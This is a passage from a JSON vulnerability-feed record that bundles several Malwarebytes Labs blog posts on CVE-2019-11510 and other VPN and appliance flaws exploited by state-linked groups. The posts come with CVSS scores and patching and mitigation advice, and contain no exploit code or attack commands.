inadvertently they may skip necessary patches, simply because they were not listed. Or worse, they were listed but the people responsible for patching didn\u2019t find them.\n\nEither way, if this is a first step in setting up a compliance program, where all the vulnerabilities that are used in the wild get patched within two weeks we will certainly welcome it. We have seen the impact of, for example, the [disclosure rules](<https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html>) set forth by Google\u2019s Project Zero on the generally accepted rules for [responsible](<https://en.wikipedia.org/wiki/Responsible_disclosure>)[ disclosure](<https://en.wikipedia.org/wiki/Responsible_disclosure>), and would love to see this directive have a similar effect on the average patching speed.\n\nStay safe, everyone!\n\nThe post [CISA sets two week window for patching serious vulnerabilities](<https://blog.malwarebytes.com/reports/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-04T21:23:02", "type": "malwarebytes", "title": "CISA sets two week window for patching serious vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2021-11-04T21:23:02", "id": "MALWAREBYTES:6ECB9DE9A2D8D714DB50F19BAF7BF3D4", "href": "https://blog.malwarebytes.com/reports/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-05-04T12:27:56", "description": "Pulse Secure has [alerted customers](<https://blog.pulsesecure.net/pulse-connect-secure-security-update/>) to the existence of an exploitable chain of attack against its Pulse Connect Secure (PCS) appliances. PCS provides Virtual Private Network (VPN) facilities to businesses, which use them to prevent unauthorized access to their networks and services.\n\nCybersecurity sleuths Mandiant report that they are tracking "12 malware families associated with the exploitation of Pulse Secure VPN devices" operated by groups using a set of related techniques to bypass both single and multi-factor authentication. Most of the problems discovered by Pulse Secure and Mandiant involve three vulnerabilities that were patched in 2019 and 2020. But there is also a very serious new issue that it says impacts a very limited number of customers.\n\n### The old vulnerabilities\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). The patched vulnerabilities are listed as:\n\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability. We [wrote](<https://blog.malwarebytes.com/business-2/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind/>) about the apparent reluctance to patch for this vulnerability in 2019.\n * [CVE-2020-8243](<https://nvd.nist.gov/vuln/detail/CVE-2020-8243>) a vulnerability in the Pulse Connect Secure < 9.1R8.2 admin web interface could allow an authenticated attacker to upload a custom template to perform an arbitrary code execution.\n * [CVE-2020-8260](<https://nvd.nist.gov/vuln/detail/CVE-2020-8260>) a vulnerability in the Pulse Connect Secure < 9.1R9 admin web interface could allow an authenticated attacker to perform an arbitrary code execution using uncontrolled gzip extraction.\n\nThe obvious advice here is to review the Pulse advisories for these vulnerabilities and follow the recommended guidance, which includes changing all passwords in the environments that are impacted.\n\n### The new vulnerability\n\nThe new vulnerability (CVE-2021-22893) is a Remote Code Execution (RCE) vulnerability with a CVSS score of 10\u2014the maximum\u2014and a Critical rating. According to [the Pulse advisory](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>):\n\n> [The vulnerability] includes an authentication by-pass vulnerability that can allow an unauthenticated user to perform remote arbitrary file execution on the Pulse Connect Secure gateway. This vulnerability has a critical CVSS score and poses a significant risk to your deployment.\n\nThere is no patch for it yet (it is expected to be patched in early May), so system administrators will need to mitigate for the problem for now, rather than simply fixing it. Please don't wait for the patch.\n\n### Mitigation requires a workaround\n\nAccording to Pulse Secure, until the patch is available CVE-2021-22893 can be mitigated by importing a workaround file. More details can be found in the company's [Security Advisory 44784](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>). Reportedly, the workaround disables Pulse Collaboration, a feature that allows users to schedule and hold online meetings between both Connect Secure users and non-Connect Secure users. The workaround also disables the Windows File Share Browser that allows users to browse network file shares.\n\n### Targets\n\nThe Pulse Connect Secure vulnerabilities including CVE-2021-22893 have been used to target government, defense and financial organizations around the world, but mainly in the US. According to some articles the threat-actors are linked to China. The identified threat actors were found to be harvesting account credentials. Very likely in order to perform lateral movement within compromised organizations' environments. They have also observed threat actors deploying modified Pulse Connect Secure files and scripts in order to maintain persistence. These modified scripts on the Pulse Secure system are reported to have allowed the malware to survive software updates and factory resets.\n\n### Threat analysis\n\nFireEye's Mandiant was involved in the research into these vulnerabilities. It has posted an elaborate analysis of the related malware, which they have dubbed SlowPulse. According to Mandiant, the malware and its variants are "applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so". In their [blogpost](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>) they discuss 4 variants. Interested parties can also find technical details and detections there.\n\n### Networking devices\n\nState sponsored cyber-attacks are often more about espionage than about monetary gain with the exception of sabotage against an enemy state. A big part of the espionage is getting hold of login credentials of those that have access to interesting secret information. Breaking into network devices in a way that can be used to extract login credential is an important strategy in this secret conflict. Keep in mind that attribution is always hard and tricky. You may end up reaching the conclusion they wanted you to reach. Given the targets and the methodology however, it makes sense in this case to look first at state sponsored threat actors.\n\n### Update May 4th\n\nThe Pulse Secure team released a security update to address the issue outlined in [Security Advisory SA44784 (CVE-2021-22893)](<https://kb.pulsesecure.net/pkb_mobile#article/l:en_US/SA44784/s>) impacting the Pulse Connect Secure appliance. It is recommend that customers act urgently to apply the update to ensure they are protected. On that note, Pulse Secure also recommends that customers use the Pulse Security Integrity Checker Tool, a tool for customers to identify malicious activity on their systems, and that they continue to apply and follow recommended guidance for all available security patches.\n\nThe post [Take action! Multiple Pulse Secure VPN vulnerabilities exploited in the wild](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/take-action-multiple-pulse-secure-vpn-vulnerabilities-exploited-in-the-wild/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-04-21T18:12:15", "type": "malwarebytes", "title": "Take action! Multiple Pulse Secure VPN vulnerabilities exploited in the wild", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-22893"], "modified": "2021-04-21T18:12:15", "id": "MALWAREBYTES:60B52235DCBD12E98C7DB46F859F885C", "href": "https://blog.malwarebytes.com/malwarebytes-news/2021/04/take-action-multiple-pulse-secure-vpn-vulnerabilities-exploited-in-the-wild/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-04-16T16:30:59", "description": "The National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have jointly released a Cybersecurity Advisory called [Russian SVR Targets U.S. and Allied Networks](<https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF>), to expose ongoing Russian Foreign Intelligence Service (SVR) exploitation of five publicly known vulnerabilities. The advisories' executive summary reads:\n\n> Russian Foreign Intelligence Service (SVR) actors, who are also known under the names APT29, Cozy Bear, and The Dukes frequently use publicly known vulnerabilities to conduct widespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials and use those to gain further access. This targeting and exploitation encompasses US and allied networks, including national security and government related systems.\n\n### Remarkable mentions in the cybersecurity advisory\n\nReleased alongside the advisory is the US Government\u2019s formal attribution of the [SolarWinds](<https://blog.malwarebytes.com/threat-analysis/2020/12/advanced-cyber-attack-hits-private-and-public-sector-via-supply-chain-software-update/>) supply chain compromise, and the cyber espionage campaign related to it, to Russia.\n\nMentioned are recent SVR activities that include targeting COVID-19 research facilities via [WellMess malware](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c>) and targeting networks through a VMware vulnerability disclosed by NSA.\n\n### Vulnerabilities\n\nNSA, CISA, and the FBI are encouraging organizations to check their networks for Indicators of Compromise (IOCs) related to five vulnerabilities.\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).\n\nThe advisory lists the following CVEs:\n\n * [CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) as discussed here: [Fortinet FortiGate VPN](<https://www.fortiguard.com/psirt/FG-IR-18-384>)\n * [CVE-2019-9670](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9670>) as discussed here: [Synacor Zimbra Collaboration Suite](<https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories>)\n * [CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>) as discussed here: [Pulse Secure Pulse Connect Secure VPN](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)\n * [CVE-2019-19781](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781>) as discussed here: [Citrix Application Delivery Controller and Gateway](<https://support.citrix.com/article/CTX267027>)\n * [CVE-2020-4006](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4006>) as discussed here: [VMware Workspace ONE Access](<https://www.vmware.com/security/advisories/VMSA-2020-0027.html>)\n\nWe have added a link to the vendor\u2019s sites where they discuss the vulnerabilities and where you can find how to patch them. As you can see most of those are quite old (the first four digits in a CVE ID are the year in which the CVE was issued) and patches have been available for a considerable time.\n\n### General mitigation strategy\n\nWhile some vulnerabilities have specific additional mitigations that you can read about in the items linked in the list above, the advisory hands us the following general mitigations:\n\n * Keep systems and products updated and patch as soon as possible after patches are released since many actors exploit numerous vulnerabilities.\n * Expect that the risk from data stolen or modified (including credentials, accounts, and software) before a device was patched will not be alleviated by patching or simple remediation actions. Assume that a breach will happen, enforce least-privileged access, and make password changes and account reviews a regular practice.\n * Disable external management capabilities and set up an out-of-band management network.\n * Block obsolete or unused protocols at the network edge and disable them in device configurations.\n * Isolate Internet-facing services in a network Demilitarized Zone (DMZ) to reduce exposure of the internal network.\n * Enable robust logging of Internet-facing services and authentication functions. Continuously hunt for signs of compromise or credential misuse, particularly within cloud environments.\n * Adopt a mindset that compromise happens; prepare for incident response activities, only communicate about breaches on out-of-band channels, and take care to uncover a breach\u2019s full scope before remediating.\n\n### Techniques\n\nThe techniques leveraged by SVR actors include:\n\n * **Exploiting public-facing applications**. Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior.\n * **Leveraging external remote services**. Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms (notably RPD) allow users to connect to internal enterprise network resources from external locations.\n * **Compromising supply chains**. Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n * **Using valid accounts**. Adversaries may obtain and abuse credentials of existing accounts as a means of gaining access or elevating permissions.\n * **Exploiting software for credential access**. Adversaries may exploit software vulnerabilities in an attempt to collect credentials.\n * **Forging web credentials**: SAML tokens. An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.\n\nThe items listed under mitigations and techniques probably won't be new to many of the people reading this, but they are a reminder that security, even against nation-state actors, is often a matter of getting some important but mundane things right, over and over again.\n\nStay safe, everyone!\n\nThe post [Patch now! NSA, CISA, and FBI warn of Russian intelligence exploiting 5 vulnerabilities](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.1, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-04-16T14:59:38", "type": "malwarebytes", "title": "Patch now! NSA, CISA, and FBI warn of Russian intelligence exploiting 5 vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-16T14:59:38", "id": "MALWAREBYTES:80B21E934B1C43C7071F039FE9512208", "href": "https://blog.malwarebytes.com/malwarebytes-news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-06-21T14:31:54", "description": "Remember when we told you to patch your VPNs already? I hate to say "I told you so", but I informed you thusly.\n\nAccording to South Korean officials a North Korean cyber-espionage group managed to infiltrate the network of South Korea's state-run nuclear research institute last month.\n\n### The crime: time and place\n\nCybersecurity news hounds The Record report that a spokesperson for the Korea Atomic Energy Research Institute (KAERI) said [the intrusion took place last month](<https://therecord.media/north-korean-hackers-breach-south-koreas-atomic-research-agency-through-vpn-bug/>), on May 14 to be exact, through a vulnerability in a virtual private network (VPN) server. Since its establishment in 1959, KAERI has been the only research institute in Korea dedicated to nuclear energy. Reportedly, thirteen unauthorized IP addresses accessed KAERI\u2019s internal network.\n\n### The suspect: Kimsuky\n\nSome of the addresses could be traced back to the APT group called Kimsuky. One of the IP addresses was used in an attack that targeted COVID-19 vaccine developers in South Korea last year.\n\nNorth Korean cyber-attacks on its southern neighbor are not uncommon. And Kimsuky is the APT that is best known for these attacks. The Kimsuky APT is a North Korean threat actor that has been active since 2012 and targets government entities mainly in South Korea. Recently, we reported about [this group using the AppleSeed backdoor](<https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/>) against the Ministry of Foreign Affairs of South Korea.\n\n### The victim: KAERI\n\nKAERI is a national research institute which was instrumental in developing nuclear technology for power generation and industrial applications. And while North Korea is ahead of South Korea in some nuclear fields\u2014notably nuclear weapons\u2014it is thought to be weaker than its neighbor when it comes to energy generation. As we stated in our earlier [report](<https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/>) one of the other targets was the nuclear security officer for the International Atomic Energy Agency (IAEA), a UN organization tasked with nuclear regulations and cooperation.\n\n### The weapon: a VPN vulnerability\n\nIn a [statement](<https://translate.google.com/translate?sl=auto&tl=en&u=https://www.kaeri.re.kr/board/view?menuId%3DMENU00326%26linkId%3D9181>), KAERI says that an unidentified outsider accessed parts of its system using weaknesses in its virtual private network (VPN). It also states that the attackers' IP addresses was blocked, and its system upgraded, when it found out about the attack, on May 31. \n\nThe name of the VPN vendor is being kept secret. Although we can't rule out a zero-day, that fact that this wasn't mentioned, and that the system was updated in response, suggests it wasn't. It certainly doesn't need to be, and there are a lot of known vulnerabilities in the running. Many of them are years old, and many are known to be used in the wild. Even though patches are available, the application of these patches has taken some organizations quite some time. \n\nWe also wrote recently about vulnerabilities in the [Pulse Secure VPN](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/take-action-multiple-pulse-secure-vpn-vulnerabilities-exploited-in-the-wild/>). Pulse issued a final patch on May 3 for a set of vulnerabilities that were used in the wild.\n\nThe NSA also issued an [advisory](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>) in April about five publicly known vulnerabilities being exploited by the Russian Foreign Intelligence Service (SVR). The CVE numbers used to identify vulnerabilities start with year the CVE was issued. What's most striking about the NSA's list is just how old most of the vulnerabilities on it are.\n\n * [CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) Fortinet FortiGate VPN\n * [CVE-2019-9670](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9670>) Synacor Zimbra Collaboration Suite\n * [CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>) Pulse Secure Pulse Connect Secure VPN\n * [CVE-2019-19781](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781>) Citrix Application Delivery Controller and Gateway\n * [CVE-2020-4006](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4006>) VMware Workspace ONE Access\n\nAs you can see, most of them are VPNs and other networking-related applications. By design a VPN is remotely accessible, which makes it a target that attackers can reach from anywhere. A VPN or gateway is always a likely target, especially if it has a known vulnerability. And a seasoned APT group, like Kimsuky, will have fewer problems reverse-engineering patches than your everyday cybercriminal.\n\n### Patching or lack thereof\n\nThe risky strategy of little-to-no-patching stands a good chance of going horribly wrong. A [Forbes study](<https://www.forbes.com/sites/taylorarmerding/2019/06/06/report-if-you-dont-patch-you-will-pay>) of 340 security professionals in 2019 found 27% of organizations worldwide, and 34% in Europe, said they\u2019d experienced breaches due to unpatched vulnerabilities. If an inability to patch promptly is compounded by delays in detecting new systems added to networks, and a lack of regular vulnerability scanning, attackers are left with a lot of room to work with.\n\nStay safe, everyone!\n\nThe post [Atomic research institute breached via VPN vulnerability](<https://blog.malwarebytes.com/reports/2021/06/atomic-research-institute-breached-via-vpn-vulnerability/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.1, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-06-21T13:53:03", "type": "malwarebytes", "title": "Atomic research institute breached via VPN vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-06-21T13:53:03", "id": "MALWAREBYTES:BAB94968DD1EC37DA6F977226977DAF5", "href": "https://blog.malwarebytes.com/reports/2021/06/atomic-research-institute-breached-via-vpn-vulnerability/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-10-14T00:05:09", "description": "In [a joint cybersecurity advisory](<https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3181261/nsa-cisa-fbi-reveal-top-cves-exploited-by-chinese-state-sponsored-actors/>), the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have revealed the top CVEs used by state-sponsored threat actors from China.\n\nThe advisory aims to \"inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).\"\n\nThe US and other allied nations consider China a cyber threat as it continues to target and attack companies in the US and elsewhere, with the primary aim of stealing intellectual property or gaining access to sensitive networks. The usual targets range from organizations in the IT sector, including telecommunications service providers; the [DIB (Defense Industrial Base)](<https://www.cisa.gov/defense-industrial-base-sector>) sector, which is related to military weapons systems; and other critical infrastructure sectors.\n\nIt is no surprise, then, that a majority of the CVEs revealed are for flaws allowing actors to surreptitiously and unlawfully gain access to networks. Within these networks, they establish persistence and move laterally to other connected systems.\n\nThe advisory is part of a concerted effort by US government agencies, particularly CISA, to push companies into getting on top of their patching. Part of that is getting them to patch much faster, and the other is getting them to focus on patching the vulnerabilities that threat actors are known to use.\n\nLast year, CISA [began publishing a catalog of actively exploited vulnerabilities](<https://www.malwarebytes.com/blog/news/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities>) that need ot be patched within two weeks on federal information systems. The agencies behind this latest advisory have also collaborated in the past on a list of [vulnerabilities favored by Russian state-sponsored threat actors](<https://www.malwarebytes.com/blog/news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities>).\n\nIf your organization's intellectual property is likely to be of interest to China, this is list is for you. And if it isn't, this list is still worth paying attention to.\n\n## The vunerabilities\n\n### Remote code execution (RCE)\n\nRCE flaws let attackers execute malicious code on a compromised, remote computer. The advisory identifies 12 RCEs: [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>) (also known as [Log4Shell or LogJam](<https://www.malwarebytes.com/blog/news/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend>)), [CVE-2021-22205](<https://www.malwarebytes.com/blog/news/2021/09/patch-vcenter-server-right-now-vmware-expects-cve-2021-22005-exploitation-within-minutes-of-disclosure>), [CVE-2022-26134](<https://www.malwarebytes.com/blog/news/2022/06/unpatched-atlassian-confluence-vulnerability-is-actively-exploited>), [CVE-2021-26855](<https://www.malwarebytes.com/blog/news/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi>), [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>), [CVE-2021-26084](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>), [CVE-2022-1388](<https://www.malwarebytes.com/blog/news/2022/05/update-now-exploits-are-active-for-f5-big-ip-vulnerability>), [CVE-2021-40539](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-26857](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-26858](<https://www.malwarebytes.com/blog/news/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days>), and [CVE-2021-27065](<https://www.malwarebytes.com/blog/news/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days>).\n\n### Arbitrary file read\n\nThe advisory identifies two arbitrary file read flaws--[CVE-2019-11510](<https://www.malwarebytes.com/blog/business/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind>) and [CVE-2021-22005](<https://www.malwarebytes.com/blog/news/2021/09/patch-vcenter-server-right-now-vmware-expects-cve-2021-22005-exploitation-within-minutes-of-disclosure>)--which allow users or malicious programs with low privileges to read (but not write) any file on the affected system or server. Useful for stealing data.\n\n### Authentication bypass by spoofing\n\n[CVE-2022-24112](<https://nvd.nist.gov/vuln/detail/CVE-2022-24112>) is an authentication bypass flaw that allows attackers to access resources they shouldn't have access to by spoofing an IP address.\n\n### Command injection\n\n[CVE-2021-36260](<https://www.malwarebytes.com/blog/news/2022/08/thousands-of-hikvision-video-cameras-remain-unpatched-and-vulnerable-to-takeover>) is a command injection flaw that allows attackers to execute commands of their own choosing on an affected system. A vulnerable app is usually involved in such attacks.\n\n### Command line execution\n\n[CVE-2021-1497](<https://nvd.nist.gov/vuln/detail/CVE-2021-1497>) is a command injection flaw that allows attackers to inject data into an affected system's command line.\n\n### Path Traversal\n\nAlso known as \"directory traversal,\" these flaws allow attackers to read, and possibly write to, restricted files by inputting path traversal sequences like `../` into file or directory paths. [CVE-2019-19781](<https://www.malwarebytes.com/blog/news/2021/06/atomic-research-institute-breached-via-vpn-vulnerability>), [CVE-2021-41773](<https://www.malwarebytes.com/blog/news/2021/10/apache-http>), and [CVE-2021-20090](<https://www.malwarebytes.com/blog/news/2021/08/home-routers-are-being-hijacked-using-vulnerability-disclosed-just-2-days-ago>) are all forms of path traversal attack.\n\n## Mitigations\n\nThe NSA, CISA, and FBI urge organizations to undertake the following mitigations:\n\n * * Apply patches as they come, prioritizing the most critical l flaws in your environment.\n * Use multi-factor authentication.\n * Require the use of strong, unique passwords.\n * Upgrade or replace software or devices that are at, or close to, their end of life.\n * Consider adopting a [zero-trust security model](<https://www.malwarebytes.com/blog/news/2020/01/explained-the-strengths-and-weaknesses-of-the-zero-trust-model>).\n * Monitor and log Internet-facing systems for abnormal activity.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-13T16:15:00", "type": "malwarebytes", "title": "Chinese APT's favorite vulnerabilities revealed", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-13T16:15:00", "id": "MALWAREBYTES:D081BF7F95E3F31C6DB8CEF9AD86BD0D", "href": "https://www.malwarebytes.com/blog/news/2022/10/psa-chinese-apts-target-flaws-that-take-full-control-of-systems", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-01-09T23:10:03", "description": "An unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", 